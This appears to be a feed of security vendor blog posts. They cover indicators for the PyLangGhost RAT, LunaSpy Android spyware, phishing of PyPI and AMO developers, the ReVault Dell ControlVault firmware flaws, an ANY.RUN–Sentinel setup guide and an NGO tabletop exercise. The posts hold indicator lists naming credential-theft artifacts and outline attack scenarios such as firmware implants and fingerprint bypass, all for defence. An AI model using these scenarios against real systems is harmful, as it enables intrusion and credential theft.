  • Faster, smarter decisions: Clear visualized execution flows help security teams assess impact and choose the right containment measures. 
  • Increased SOC efficiency: Streamlines detection, analysis, and reporting in one workflow, eliminating unnecessary manual steps. 
  • Proactive threat hunting: Flags stealthy or low-signature artifacts, enabling defenders to identify and block similar threats before they spread. 

Early detection for business means lower risk, reduced costs, and stronger resilience against advanced cyberattacks. 

Try ANY.RUN to see how it can strengthen your proactive defense 

Gathered IOCs 

Domain: 360scanner[.]store

IPv4: 13[.]107.246[.]45

IPv4: 151[.]243.101[.]229 

URL: https[:]//360scanner[.]store/cam-v-b74si.fix

URL: http[:]//151[.]243[.]101[.]229[:]8080/ 

SHA256 (auto.py.bin) = bb794019f8a63966e4a16063dc785fafe8a5f7c7553bcd3da661c7054c6674c7 

SHA256 (command.py.bin) = c4fd45bb8c33a5b0fa5189306eb65fa3db53a53c1092078ec62f3fc19bc05dcb 

SHA256 (config.py.bin) = c7ecf8be40c1e9a9a8c3d148eb2ae2c0c64119ab46f51f603a00b812a7be3b45 

SHA256 (nvidia.py.bin) = a179caf1b7d293f7c14021b80deecd2b42bbd409e052da767e0d383f71625940 

SHA256 (util.py.bin) = ef04a839f60911a5df2408aebd6d9af432229d95b4814132ee589f178005c72f 

FileName: chrome_logins_dump.txt FileName: gather.tar.gz Mutex:.store 

Further Reading 

https://otx.alienvault.com/pulse/688186afb933279c4be00337

https://app.any.run/tasks/275e3573-0b3e-4e77-afaf-fe99b935c510 

https://www.virustotal.com/gui/file/a179caf1b7d293f7c14021b80deecd2b42bbd409e052da767e0d383f71625940/detection 

https://www.virustotal.com/gui/file/c7ecf8be40c1e9a9a8c3d148eb2ae2c0c64119ab46f51f603a00b812a7be3b45?nocache=1

https://www.virustotal.com/gui/file/c4fd45bb8c33a5b0fa5189306eb65fa3db53a53c1092078ec62f3fc19bc05dcb/community

The post PyLangGhost RAT: Rising Data Stealer from Lazarus Group Targeting Finance and Technology  appeared first on ANY.RUN’s Cybersecurity Blog.

ANY.RUN’s Cybersecurity Blog – ​Read More

LunaSpy hides as a spyware antivirus on Android | Kaspersky official blog

In the pursuit of security, many folks are ready to install any app that promises reliable protection from malware and scammers. It’s this fear that’s skillfully used by the creators of new mobile spyware distributed through messengers under the guise of an antivirus. After installation, the fake antivirus imitates the work of a genuine one — scanning the device, and even giving a frightening number of “threats found”. Of course no real threats are detected, while what it really does is simply spy on the owner of the infected smartphone.

How the new malware works and how to protect yourself from it is what we’ll be telling you about today.

How the spyware gets into your phone

We’ve discovered a new malware campaign targeting Android users. It’s been active since at least the end of February 2025. The spy gets into smartphones through messengers, not only under the guise of an antivirus, but also banking protection tools. It can look like this, for example:

  • “Hi, install this program here.” A potential victim can receive a message suggesting installing software from either a stranger, or a hacked account of a person in their contacts (which is how, for example, Telegram accounts are hijacked.
  • “Download the app in our channel”. New channels appear in Telegram every second, so it’s quite possible that some of them may distribute malware under the guise of legitimate software.

After installation, the fake security app shows the number of detected threats on the device in order to force the user to provide all possible permissions supposedly to save the smartphone. In this way, the victim gives the app access to all personal data without realizing the real motives of the fake AV.

What LunaSpy can do

The capabilities of the spyware are constantly increasing. For example, the latest version we found has the ability to steal passwords from both browsers and messengers. This, by the way, is another reason to start using password managers if you haven’t already done so. What else can LunaSpy do?

  • Record audio and video from the microphone and camera.
  • Read texts, the call log, and contact list.
  • Run arbitrary shell commands.
  • Track geolocation.
  • Record the screen.

We also discovered malicious code responsible for stealing photos from the gallery, but it’s not being used yet. All the information collected by the malware is sent to the attackers via command-and-control servers. What’s surprising is that there are around 150 different domains and IP addresses associated with this spyware — all of them command-and-control servers.

How to protect your devices

We assume that this spyware is used by attackers as an auxiliary tool, so for now it doesn’t compete with big players like SparkCat. Nevertheless, you should protect yourself from LunaSpy as best you can as you do with other threats.

A bit more on spyware:

Kaspersky official blog – ​Read More

Phishing attack on PyPi and AMO developers | Kaspersky official blog

Just recently, within days of each other, Mozilla (the organization behind the Firefox browser) and the team that maintains the Python Package Index (a catalog of software written in Python) published very similar warnings about phishing attacks. Unknown attackers are trying to lure both Python developers with accounts on pypi.org and Firefox plugin creators with addons.mozilla.org accounts to fake sites in order to trick them into giving up their credentials. In this regard, we recommend that opensource developers (not just PyPi and AMO users) be especially careful when clicking on links from emails.

These two attacks are not necessarily related (after all, the phishers’ methods are slightly different). However, taken together, they demonstrate an increased cybercriminal interest in code repositories and app stores. Most likely, their ultimate goal is to organize supply chain attacks, or resell credentials to other criminals who can organize such an attack. After all, having gained access to a developer’s account, attackers can inject malicious code into packages or plugins.

Details of a phishing attack on PyPi developers

Phishing emails addressed to users of the Python Package Index are sent to addresses specified in the metadata of packages published on the site. The subject line contains the phrase “[PyPI] Email verification”. The emails are sent from addresses on the @pypj.org domain, which differs by only one letter from the real directory domain — @pypi.org — that is, they use a lowercase j instead of a lowercase i.

The email states that developers need to verify their email address by clicking on a link to a site that imitates the design of the legitimate PyPi. Interestingly, the phishing site not only collects the victims’ credentials, but also transmits them to the real site, so that after the “verification” is complete, the victim ends up on a legitimate site logged in, and often doesn’t even realize that their credentials have just been stolen.

The team that maintains the Python Package Index recommends that anyone who clicks on the link in the email immediately change their password, and also check the “Security History” section in their account.

Details of a phishing attack on addons.mozilla.org accounts

The phishing sent to Firefox add-on developers imitates emails from Mozilla or directly from AMO. The gist of the message boils down to a need to update account data in order to continue using the developer features.

Judging by the example uploaded by one of the recipients of the email, the attackers don’t bother to disguise the sender’s address — the letter was sent from a standard Gmail account. It also follows from the comments that sometimes phishers misspell the name Mozilla, missing one of the l letters.

How to stay safe?

Developers should be extremely careful with emails containing links to such sites. They should check the domains from which the emails are sent, as well as the links that they’re asked to follow. Even if the email seems legitimate, they should log in to the account on the site reached by manually entering the address, or by following a previously saved bookmark. In addition, we recommend equipping all devices used for work with security solutions that will block the opening of a phishing site even if the link was clicked on.

For companies that employ open source software developers, we recommend using an anti-phishing solution at the mail gateway level. In addition, it’s a good idea to periodically train employees to recognize modern phishers’ tricks. After all, even experienced IT specialists can fall for phishing. This can be done using our online Kaspersky Automated Security Awareness Platform.

Kaspersky official blog – ​Read More

ReVault! When your SoC turns against you…

  • Talos reported 5 vulnerabilities to Broadcom and Dell affecting both the ControlVault3 Firmware and its associated Windows APIs that we are calling “ReVault”. 
  • 100+ models of Dell Laptops are affected by this vulnerability if left unpatched. 
  • The ReVault attack can be used as a post-compromise persistence technique that can remain even across Windows reinstalls.  
  • The ReVault attack can also be used as a physical compromise to bypass Windows Login and/or for any local user to gain Admin/System privileges. 

Dell ControlVault overview 

ReVault! When your SoC turns against you…

Dell ControlVault is “a hardware-based security solution that provides a secure bank that stores your passwords, biometric templates, and security codes within the firmware.” A daughter board provides this functionality and performs these security features in firmware. Dell refers to the daughter board as a Unified Security Hub (USH), as it is used as a hub to run ControlVault (CV), connecting various security peripherals such as a fingerprint reader, smart card reader and NFC reader. 

Here is a photographic example of a USH board:  ​​​​

ReVault! When your SoC turns against you…
Picture of a USH Board running CV. 

This is the board in its natural environment:  

ReVault! When your SoC turns against you…
USH board (highlighted in orange) inside a Dell Latitude laptop. 

The current iterations of the product are called ControlVault3 and ControlVault3+. and can be found in more than 100 different models of actively-supported Dell laptops (see DSA-2025-053), mostly from the business-centric Lattitude and Precision series. These laptop models are widely used in the cybersecurity industry, government settings and challenging environments in their Rugged version. Sensitive industries that require heightened security when logging in (via smartcard or NFC) are more likely to find ControlVault devices in their environment, as they are necessary to enable these security features. 

Findings 

Today, Talos is publishing five CVEs and their associated reports. The vulnerabilities include multiple out-of-bounds vulnerabilities (CVE-2025-24311, CVE-2025-25050) an arbitrary free (CVE-2025-25215) and a stack-overflow (CVE-2025-24922), all affecting the CV firmware. We also reported an unsafe-deserialization (CVE-2025-24919) that affects ControlVault’s Windows APIs. 

Impact 

With a lack of common security mitigations and the combination of some of the vulnerabilities mentioned above, the impact of these findings is significant. Let’s highlight two of the most critical attack scenarios we have uncovered. 

ReVault! When your SoC turns against you…

Post-compromise pivot 

On the Windows side, a non-administrative user can interact with the CV  firmware using its associated APIs and trigger an Arbitrary Code Execution on the CV firmware. From this vantage point, it becomes possible to leak key material essential to the security of the device, thus gaining the ability to permanently modify its firmware. This creates the risk of a so-called implant that could stay unnoticed in a laptop’s CV firmware and eventually be used as a pivot back onto the system in the case of a Threat Actor’s post-compromise strategy. The following video shows how a tampered CV firmware can be used to “hack Windows” by leveraging the unsafe deserialization bug mentioned previously. 



0:00
/0:22



Physical attack 

A local attacker with physical access to a user’s laptop can pry it open and directly access the USH board over USB with a custom connector. From there, all the vulnerabilities described previously become in-scope for the attacker without requiring the ability to log-in into the system or knowing a full-disk encryption password. While chassis-intrusion can be detected, this is a feature that needs to be enabled beforehand to be effective at warning of a potential tampering. 

Another interesting consequence of this scenario is that if a system is configured to be unlocked with the user’s fingerprint, it is also possible to tamper with the CV firmware to accept any fingerprint rather than only allowing a legitimate user’s.   



0:00
/0:07



Remediation 

Mitigation 

To mitigate these attacks, Talos recommends the following: 

  • Keep your system up to date to ensure the latest firmware is installed. CV firmware can be automatically deployed via Windows Update, but new firmware usually gets released on the Dell website a few weeks prior. 
  • If not using any of the security peripherals (fingerprint reader, smart card reader and NFC reader) it is possible to disable the CV services (using the Service Manager) and/or the CV device (via the Device Manager).  
  • It is also worth considering disabling fingerprint login when risks are heightened (e.g., leaving one’s laptop unattended in a hotel room). Windows also provides Enhanced Sign-in Security (ESS), which may help mitigate some of the physical attacks and detect inappropriate CV firmware. 

Detection 

To detect an attack, consider the following: 

  • Depending on your laptop model, chassis intrusion detection can be enabled in the computer’s BIOS. This would flag physical tampering and may require entering a password to clear the alert and restart the computer. 
  • In the Windows logs, unexpected crashes of the Windows Biometric Service or the various Credential Vault services could be a sign of compromise. 
  • Cisco customers using Cisco Secure Endpoint can be made aware of potential risks with the signature definition “bcmbipdll.dll Loaded by Abnormal Process”. 

Conclusion 

These findings highlight the importance of evaluating the security posture of all hardware components within your devices, not just the operating system or software. As Talos demonstrated, vulnerabilities in widely-used firmware such as Dell ControlVault can have far-reaching implications, potentially compromising even advanced security features like biometric authentication. Staying vigilant, patching your systems and proactively assessing risk are essential to safeguard your systems against evolving threats. 

Cisco Talos Blog – ​Read More

ANY.RUN & Microsoft Sentinel: Catch Emerging Threats with Real-Time Threat Intelligence

ANY.RUN now delivers Threat Intelligence (TI) Feeds directly to Microsoft Sentinel via the built-in STIX/TAXII connector. No complicated setups. No custom scripts. Only high-quality indicators of compromise (IOCs) to fortify your SOC and catch attacks early, keeping your business secure. 

About the TI Feeds Connector for Microsoft Sentinel  

ANY.RUN’s TI Feeds support a seamless, out-of-the-box connection to Microsoft Sentinel that delivers real-time threat intelligence directly into your workspace. 

  • Effortless Setup: Connect TI Feeds to Sentinel using the STIX/TAXII connector with your custom API key. 
  • Enhanced Automation: Sentinel’s playbooks, powered by Azure Logic Apps, automatically correlate IOCs with your logs, triggering alerts or actions like blocking IPs. This cuts manual work and speeds up response times. 
  • Cost Efficiency: Leverage your existing Sentinel setup without extra infrastructure costs. Fewer missed threats, thanks to high-fidelity IOCs, reduce the financial impact of breaches. 

The IOCs enriched with links to sandbox sessions can be used in Sentinel’s analytics, letting you build custom rules, visualize threats, and prioritize incidents effectively. 

Get access to malicious IOCs from attacks on 15K SOCs
Expand threat coverage. Slash MTTR. Identify incidents early 



Contact us for TI Feeds trial


What Makes ANY.RUN’s Threat Intelligence Feeds Unique 

TI Feeds from ANY.RUN are extracted from the latest threat samples

ANY.RUN’s TI Feeds deliver malicious IPs, domains, URLs that have been active for just hours, not days. We extract them from live sandbox analyses of the latest threats hitting 15,000+ organizations worldwide. Unlike post-incident reports that lag behind, our feeds update every two hours, sending active attack indicators straight to clients. This lets MSSPs and SOCs detect today’s threats early and effectively, keeping systems secure. 

  • Rich Context: Each IOC links to sandbox sessions with full TTPs for deeper investigations. 
  • Low Noise: Pre-processing by expert analysts ensure near-zero false positives, saving your team time. 
  • Flexible Integration: Thanks to API, SDK, STIX/TAXII support, TI Feeds work seamlessly with SIEM/XDR/firewalls and other solutions. 

How TI Feeds Help SOCs and MSSPs Spot Attacks in Time 

Threats move fast. Malware and phishing can slip through if you’re not ready. ANY.RUN TI Feeds give SOCs and MSSPs the edge to detect and stop attacks before they impact. Our high-fidelity IOCs — IPs, domains, URLs — come enriched with context from ANY.RUN’s Interactive Sandbox, ensuring you act with precision. 

  • Catch Threats Early: Real-time IOCs enable preventive actions and rapid response to minimize damage. 
  • Boost Detection Rate: Near-zero false positives and pre-processing help ensure that your SOC never misses a threat. 
  • Lower Costs and Risks: Fewer undetected threats mean reduced financial and operational fallout. Fresh, reliable IOCs help you avoid costly breaches. 
  • Cut MTTR: Faster alert triage and a complete threat visibility thanks to linked sandbox analyses informs responders’ actions, helping them prevent threat spread and reduce damage. 
  • Improve SOC Performance: Automate threat processing, cutting manual tasks for SOC specialists and letting them prioritize top risks. 

Receive Threat Intelligence Feeds in Microsoft Sentinel 

Here is a detailed manual to guide your TI Feeds setup in Microsoft Sentinel. Should you need any assistance or have any questions, feel free to contact us

Connecting to the STIX/TAXII server 

  1. Open MS Sentinel and go to the Data connectors tab in the Configuration section. 
Start setup in your Sentinel workspace 

2. Search for the Threat Intelligence STIX/TAXII connector and click Open connector page

Use Search in Data connectors tab to find ANY.RUN’s STIX/TAXII one 

3. You will see the list of prerequisites for the connector to work. If you lack any of them, view this documentation by Microsoft.  

Check the prerequisites for the connection 

4. Fill out the Configuration form: 

  • Name the server via the Friendly name field 
  • Insert API root URL
https://api.any.run/v1/feeds/taxii2
  • Choose a Collection ID
Name Description ID
All indicators Contains IOCs of all formats (IPs, Domains, URLs) 3dce855a-c044-5d49-9334-533c24678c5a
IPs collection Contains only IPs 55cda200-e261-5908-b910-f0e18909ef3d
Domains collection Contains only Domains 2e0aa90a-5526-5a43-84ad-3db6f4549a09
URLs collection Contains only URLs 05bfa343-e79f-57ec-8677-3122ca33d352
  • Enter your Username and Password. 

If you don’t have these credentials, contact your account manager at ANY.RUN or fill out this form.  

You can also choose to import all available indicators or those that are one day, week, or month old via the field Import indicators. Another optional setting is Polling frequency that determines how often you’d like to connect to the STIX/TAXII server to retrieve new feeds: once a minute, once an hour, or once a day. 

Configure your STIX/TAXII server setting up mandatory and optional parameters 

Finally, click Add, and you’re all set up. 

If you need more information, see STIX/TAXII documentation by ANY.RUN

Browsing indicators 

To access the indicators you’ve retrieved, go to the Threat intelligence tab. 

You’ll find a table with fields describing each indicator: 

  • Values – indicator itself; 
  • Names – name of an indicator; 
  • Types – type of an indicator (IP, URL, or Domain); 
  • Sources – source of an indicator; 
  • Confidence – this rate determines our level of certainty on whether an indicator is malicious (50 – suspicious, 75 – likely malicious, 100 – malicious); 
  • Alerts – number of alerts related to an indicator; 
  • Tags – descriptors of an indicator; 
  • Valid from and Valid until – time period during which an indicator is considered valid. 
Indicators with key parameters accessible for browsing 

Real-World Application Scenario

Here’s a typical flow your security operations can adopt: 

1. Feed Setup: Your security team configures IOC ingestion from ANY.RUN into Microsoft Sentinel, where data is indexed and becomes searchable. 

2. Automated Correlation: Sentinel continuously analyzes incoming logs from EDR systems, network equipment, proxies, email security, and other sources, automatically correlating them with ANY.RUN’s IOCs. 

3. Alert Generation: When matches are detected (IP addresses, domains, file hashes), Sentinel creates security events and alerts. 

4. Streamlined Triage: Alerts are routed to analysts for manual or semi-automated incident analysis, including log review, event correlation, and behavioral analysis. 

5. Rapid Response: Depending on your configuration, the system can execute manual or automated responses including isolation, blocking, or escalation procedures. 

How TI Feeds in MS Sentinel Boost SOC & MSSP Performance 

Plug ANY.RUN’s feeds into Microsoft Sentinel with minimal setup, leveraging existing infrastructure, and benefit from: 

  • Faster Threat Detection: Fresh IOCs flow into your system quickly, accelerating identification of threats. 
  • Seamless Interoperability: No need to overhaul processes or tools — TI feeds work within your Sentinel environment. 
  • Enhanced Monitoring and Triage Capabilities: Expand your threat detection coverage with high-confidence indicators that improve both monitoring effectiveness and incident triage accuracy. 
  • Access to Unique Data: Gain insights from real-time analysis of attacks on 15,000 organizations, powered by ANY.RUN’s Interactive Sandbox. 
  • Cost Efficiency: Reduce setup costs by using a seamless STIX/TAXII connector. 
  • Process Continuity: Maintain existing workflows without disruption. 
  • Automation and Reduced Workload: Automate actions based on IOCs (e.g., flagging logs, isolating endpoints), freeing up SOC resources. 
  • Competitive Edge for MSSPs: Stand out with exclusive IOCs derived from cutting-edge research, enhancing your service offerings. 

About ANY.RUN 

ANY.RUN is trusted by more than 500,000 cybersecurity professionals and 15,000+ organizations across finance, healthcare, manufacturing, and other critical industries. Our platform helps security teams investigate threats faster and with more clarity.  

Speed up incident response with our Interactive Sandbox: analyze suspicious files in real time, observe behavior as it unfolds, and make faster, more informed decisions.  

Strengthen detection with Threat Intelligence Lookup and TI Feeds: give your team the context they need to stay ahead of today’s most advanced threats.  

Want to see it in action? Start your 14-day trial of ANY.RUN today → 

The post ANY.RUN & Microsoft Sentinel: Catch Emerging Threats with Real-Time Threat Intelligence appeared first on ANY.RUN’s Cybersecurity Blog.

ANY.RUN’s Cybersecurity Blog – ​Read More

Backdoors & Breaches: How Talos is helping humanitarian aid NGOs prepare for cyber attacks

  • In 2023, Talos collaborated with NetHope and Cisco Crisis Response to create a customized Backdoors & Breaches expansion deck for international humanitarian organizations, addressing their unique cybersecurity challenges. 
  • The new expansion deck helps NGOs with constrained budgets improve proactive security and incident response skills through engaging tabletop exercises that are specific to their technical, political, and logistical challenges. 
  • Hundreds of expansion decks have been distributed to international NGOs, and Talos has received positive feedback for their practicality and relevance. 
  • Building on this success, we partnered with NGO-ISAC to develop a United States-specific deck for domestic NGOs, enhancing their cybersecurity preparedness.

Humanitarian organizations and the cybersecurity landscape

Backdoors & Breaches: How Talos is helping humanitarian aid NGOs prepare for cyber attacks

Hello friends! My name is Joe Marshall and I work at Cisco Talos as a cyber threat researcher and security strategist. Throughout my travels with Talos, I’ve met extraordinary individuals and organizations who fight injustices in a variety of ways: caring for children, feeding the unhoused, promoting democracy, protecting the environment, or resettling refugees who are fleeing from war. 

In moments of unimaginable crisis and pain, the international non-governmental organization (NGO) folks I met are on the front lines distributing aid, documenting human rights abuses, assisting first responders, and offering comfort to people who have had their worlds upended. I unabashedly admire and respect them. 

Unfortunately, international NGOs have historically struggled in cybersecurity. No matter an NGO’s size, limited donor and grant dollars mean that sustaining the organization competes with delivering aid, leaving little (if any) funding for cybersecurity. As a result, public sector offensive actors, mercenary spyware organizations, and state-sponsored actors take advantage of this to target or financially exploit these NGOs, even though they are assisting some of the most vulnerable people in the world. No one gets a pass in this modern era of cybercrime!

Helping the helpers

In 2023, the Cisco Crisis Response (CCR) team — a group that helps local agencies and communities prepare for, respond to, and sustainably rebuild from crises — approached my team at Talos with a rare opportunity to help incorporate cybersecurity into their work alongside their partner, NetHope.

NetHope is a humanitarian assistance organization that “helps our nonprofit Members effectively address the world’s most pressing challenges through collaboration, collective action and the smarter use of technology.” They also host the NetHope Global Summit, a yearly gathering of international NGOs to discuss technical issues and solutions to enable their member NGOs’ missions.

Before this project, I was not well-versed in the challenges of the NGO cybersecurity landscape or operating realities. Every business vertical is unique, and my first few meetings with NetHope forced me to confront the stark realities of the cybersecurity poverty line. With NGOs’ limited cybersecurity budgets, expertise, and resources, I knew our project had to have a low barrier to entry.

After much brainstorming, I suggested that we create an NGO-centric version of the popular cybersecurity tabletop exercise, “Backdoors & Breaches,” to keep workers’ incident response skills sharp.

What is a tabletop exercise? 

A tabletop exercise (TTX) is a group thought experiment. The “Game Master” presents various scenarios and variables to their players, who are usually team leaders in their business, to see how they respond as a group. At a high level, TTXs are a way to help your team prepare for worst-case scenarios and cost-effectively develop plans and responses to a variety of incidents. As they say, “Fortune favors the prepared.”

For example, a hospital might want to conduct a TTX to develop and test incident response and data recovery if hackers were to attack their electronic health records. An electric utility company might conduct a TTX to test critical infrastructure restoration and coordination with emergency responders. And, of course, a humanitarian assistance organization may need to protect itself against cyber attacks to keep their life-saving work going!

An introduction to Backdoors & Breaches

Backdoors & Breaches is a card-based TTX developed and published under a GNU license by Black Hills Information Security. It’s a novel game designed to teach both technical and non-technical players cybersecurity incident response in a format similar to the popular Dungeons & Dragons roleplaying game. Here’s an example of gameplay at the RSA Conference, with the digital version of the game:

If you want to accommodate a specific technical aspect of security, like industrial control systems, the cloud, or threat hunting, you can modify Backdoors & Breaches with expansion decks. Customizing cards to reflect your team’s unique circumstances can result in better buy-in and even a higher level of preparedness when a breach occurs.

Talos and NetHope create a new expansion

It was this potential customization that attracted me to making a new expansion deck for the international humanitarian community. The concept of Talos and NetHope adapting a cost-effective, portable, and easy-to-understand TTX to fit the limited cybersecurity budgets of typical NGOs was irresistible. To bring this vision to life, I assembled a diverse team of seasoned cybersecurity NGO professionals, technologists, and crisis response specialists who recognized the value in developing new cards.

The result was a new deck that seamlessly merged into the original Backdoors & Breaches game. These unique cards are modeled from real events and speak to the unique technical, political, and logistical challenges that humanitarian assistance organizations may face during cyber attacks. Here are some examples:

We presented this new expansion at the NetHope Global Summit in 2023, where participants widely enjoyed it. We found that this expansion pack brought them together in ways the generic deck on its own likely wouldn’t have. Many people shared first-hand experiences with the stressful situations these cards presented, which led to authentic and open conversations on the best responses to the scenarios.

Over the course of several summits, Talos and NetHope have given away hundreds of physical copies of the expansion, and we’ve received a lot of positive reception from the international NGO community. If you’re curious, you can also find the cards online here.

The U.S. domestic NGO edition

In a country as large as the United States, there are hundreds of domestic NGOs that operate solely within the country and local communities. The NGO Information Sharing and Analysis Center (NGO-ISAC) is a 501(c)(3) nonprofit organization that focuses on domestic civil society organizations.

Backdoors & Breaches: How Talos is helping humanitarian aid NGOs prepare for cyber attacks

Using the momentum of our Backdoors & Breaches international humanitarian expansion pack, Talos partnered with NGO-ISAC to create a new deck that reflects U.S.-specific NGO security situations.

Backdoors & Breaches: How Talos is helping humanitarian aid NGOs prepare for cyber attacks
On-stage demonstration at the Ford Foundation for the NGO-ISAC Conference.

If the NGO’s team is spread across the country and wants to play, that’s not a problem! Using this GitHub link you can instantiate and connect to a mini web server on your local computer. With a web sharing tool, you can stream it to any size audience and folks can play along virtually. You can easily use Python for this.

Conclusion

International and domestic NGOs are critical to aid delivery and civil society, but they’re heavily targeted by threat actors who seek to disrupt or exploit their missions. TTXs like Backdoors & Breaches lower the barrier to entry for organizations to have serious conversations about security posture and response, and NetHope and Talos’ custom expansions provide industry-specific scenarios to enrich the experience.

I feel very fortunate to have had the opportunity to volunteer and donate my time to help NGO workers and volunteers fight the good fight. Whether you’re a threat intelligence organization, an international NGO providing medical care to refugees, or a domestic food bank fighting hunger, Talos is with you.

Cisco Talos Blog – ​Read More